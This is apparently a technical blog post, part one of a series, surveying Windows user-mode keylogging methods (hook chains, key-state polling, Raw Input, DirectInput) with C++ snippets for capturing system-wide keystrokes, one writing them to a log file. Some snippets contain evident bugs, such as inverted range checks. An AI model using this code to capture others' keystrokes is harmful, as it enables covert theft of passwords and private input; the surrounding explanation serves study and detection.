As we known, keylogger is a technique that used for a long time when the malware appeared in our computer’s world. In part 1 of this article, I’ll list some of methods of keylogger in Windows user-mode (the most but not the all). If you found another methods, leave the comment below, thanks 😀

Here are the methods mentioned in this part:

Windows Hooking (SetWindowsHookEx) Windows Polling (GetAsyncKeyState, GetKeyboardState) Raw Input Direct Input

Windows Hooking: SetWindowsHookEx

The most common method for newbie. It use SetWindowsHookEx to register a pre-defined procedure function into a message hook chain of Windows. There are many types of message but for keylogger we using 2 types: WH_KEYBOARD and WH_KEYBOARD_LL.

g_hHook = SetWindowsHookEx(m_bLowLevelKeyboard == true ? WH_KEYBOARD_LL : WH_KEYBOARD, m_bLowLevelKeyboard ? LowLevelKeyboardProc : KeyboardProc, g_hModule, m_ThreadId);

In callback function we will retrieve virtual keycode from wParam with KeyboardProc and KBDLLHOOKSTRUCT.vkCode (KBDLLHOOKSTRUCT pointed by wParam) with LowLevelKeyboardProc

If m_ThreadId = 0 then our hook is global. With global hook, you must put the callback function in the dll and because we have x86/x64 processes so we must write 2 dll with different names for each of them.

[Update 13/06/17]

With low-level keyboard, hMod param of SetWindowsHookEx can be NULL or any loaded module in current process (i tested with user32, ntdll and still work fine).

WH_KEYBOARD_LL doesn’t require callback function in dll and can work fine with x86/x64 process.

WH_KEYBOARD require 2 version of dll for x86/x64 hooking. But if you use x86 version of dll for global hooking, all x64 threads are still marked as “hooked” and system executes the hook in the hooking app’s context. Similarly if a x64 dll installs a global hook, all 32-bit processes will use a callback to the x64 hooking application. That’s why the thread that installed the hook must have a message loop.

[Update 13/06/17 End]

Windows Polling: GetAsyncKeyState

A classical method that using GetAsyncKeyState API for querying every key state. This requires an endless loop for polling key state that lead to suspicious high CPU.

string polledKey = ""; for (int i = 0; i<=256; i++) { //check the state of the key //if its down then GetAsynrcKeyState returns 0x8001 bit set if (GetAsyncKeyState(i) & 0x8001 == 0x8001) { //output character if its key is down switch (i) { case VK_DELETE: polledKey.append("<delete>"); break; case VK_BACK: polledKey.append("<backspace>"); break; ... default: if (i >= 32 && i <= 126) { CHAR sChar[2]; sprintf_s(sChar, 2, "%c", i); polledKey.append(sChar); } break; } } }

Windows Polling: GetKeyboardState

Similar to GetAsyncKeyState, GetKeyboardState get all keyboard state at once. The difference here is GetKeyboardState only change state when a keyboard messages was removed from message queue of calling process. That mean it is not a global hook unless we use shared keyboard state with AttachThreadInput() function.

string polledKey = ""; if (!GetKeyboardState(keyBoardState)) return polledKey; for (int i = 0; i<=256; i++) { //output character if its key is down if ((keyBoardState[i] & 0x80) == 0) continue; switch (i) { case VK_DELETE: polledKey.append("<delete>"); break; case VK_BACK: polledKey.append("<backspace>"); break; … default: if (i <= 32 && i >= 126) { CHAR sChar[2]; sprintf_s(sChar, 2, "%c", i); polledKey.append(sChar); } break; } }

Raw Input

From Microsoft Raw Input is:

The raw input model is different from the original Windows input model for the keyboard and mouse. In the original input model, an application receives device-independent input in the form of messages that are sent or posted to its windows, such as WM_CHAR, WM_MOUSEMOVE, and WM_APPCOMMAND. In contrast, for raw input an application must register the devices it wants to get data from. Also, the application gets the raw input through the WM_INPUT message.

So for using Raw Input we must register with function RegisterRawInputDevices() for a input device. After that, in message loop we get data through WM_INPUT. Here is the code we usd to register and get data of Raw Input:

switch (message) { case WM_CREATE: { if (lParam) { CREATESTRUCT* lpCreateStruct = (CREATESTRUCT*)lParam; if (lpCreateStruct->lpCreateParams) ::SetWindowLong(hWnd, GWL_USERDATA, reinterpret_cast<long>(lpCreateStruct->lpCreateParams)); } RAWINPUTDEVICE rid; // register interest in raw data rid.dwFlags = RIDEV_NOLEGACY | RIDEV_INPUTSINK; // ignore legacy messages and receive system wide keystrokes rid.usUsagePage = 1; // raw keyboard data only rid.usUsage = 6; rid.hwndTarget = hWnd; RegisterRawInputDevices(&rid, 1, sizeof(rid)); break; } case WM_INPUT: { UINT dwSize; if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER)) == -1) { break; } LPBYTE lpb = new BYTE[dwSize]; if (lpb == NULL) { break; } if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize) { delete[] lpb; break; } PRAWINPUT raw = (PRAWINPUT)lpb; UINT Event; WCHAR szOutput[128]; CHAR keyChar; StringCchPrintf(szOutput, STRSAFE_MAX_CCH, TEXT(" Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x

"), raw->data.keyboard.MakeCode, raw->data.keyboard.Flags, raw->data.keyboard.Reserved, raw->data.keyboard.ExtraInformation, raw->data.keyboard.Message, raw->data.keyboard.VKey); Event = raw->data.keyboard.Message; keyChar = MapVirtualKeyA(raw->data.keyboard.VKey, MAPVK_VK_TO_CHAR); delete[] lpb; // free this now // read key once on keydown event only if (Event == WM_KEYDOWN) { if (keyChar>32) { // anything below spacebar other than backspace, tab or enter we skip if ((keyChar != 8) && (keyChar != 9) && (keyChar != 13)) break; } if (keyChar>126) // anything above ~ we skip break; // write to log file CRawInputKeylog* lpCRawInputKeylog = reinterpret_cast<CRawInputKeylog*>(::GetWindowLong(hWnd, GWL_USERDATA)); if (lpCRawInputKeylog) { DWORD byteWritten = 0; WriteFile(lpCRawInputKeylog->m_hFile, &keyChar, sizeof(keyChar), &byteWritten, NULL); } } break; } }

Direct Input

This is the last method in this part and it’s also a rare technique in the wild. Direct Input is a function in Microsoft DirectX library that can be used to get the state of the keyboard. This requires the Microsoft DirectX SDK to compile.

HRESULT hr; hr = DirectInput8Create(g_hModule, DIRECTINPUT_VERSION, IID_IDirectInput8, (void **)&m_din, NULL); hr = m_din->CreateDevice(GUID_SysKeyboard, &m_dinkbd, NULL); hr = m_dinkbd->SetDataFormat(&c_dfDIKeyboard); hr = m_dinkbd->SetCooperativeLevel(m_hWnd, DISCL_NONEXCLUSIVE | DISCL_BACKGROUND);

DirectInput8Create create a DirectInput object with version of directx. From object we create a device with type of input device then set the data format we want to retrieve. SetCooperativeLevel() with DISCL_NONEXCLUSIVE | DISCL_BACKGROUND make sure we can collect in global.

To get keyboard state we use:

BYTE keystate[256] = { 0 }; lpCDirectInputKeylog->m_dinkbd->Acquire(); lpCDirectInputKeylog->m_dinkbd->GetDeviceState(256, keystate);

GetDeviceState() return status of 256 keyboard scan codes. We use MapVirtualKey to convert scan code to virtual key.

UINT virKey = MapVirtualKeyA(i, MAPVK_VSC_TO_VK_EX);

Conclusion

Finally, we created a summary table for user-mode keylogging technique:

Global? Key Code Type Requirement Windows Hooking (SetWindowsHookEx- WH_KEYBOARD) Yes (DLL implementation required) Virtual Key – Message loop – Separate DLL for x86/x64 process Windows Hooking (SetWindowsHookEx- WH_KEYBOARD_LL) Yes Virtual Key – Message loop Windows Polling (GetAsyncKeyState) Yes Virtual Key Windows Polling (GetKeyboardState) Yes (AttachThreadInput API*) Virtual Key Raw Input Yes Virtual Key – HWND, Message loop Direct Input Yes Scan Code – HWND, Message loop – Microsoft DirectX SDK to compile

* Not tested yet

References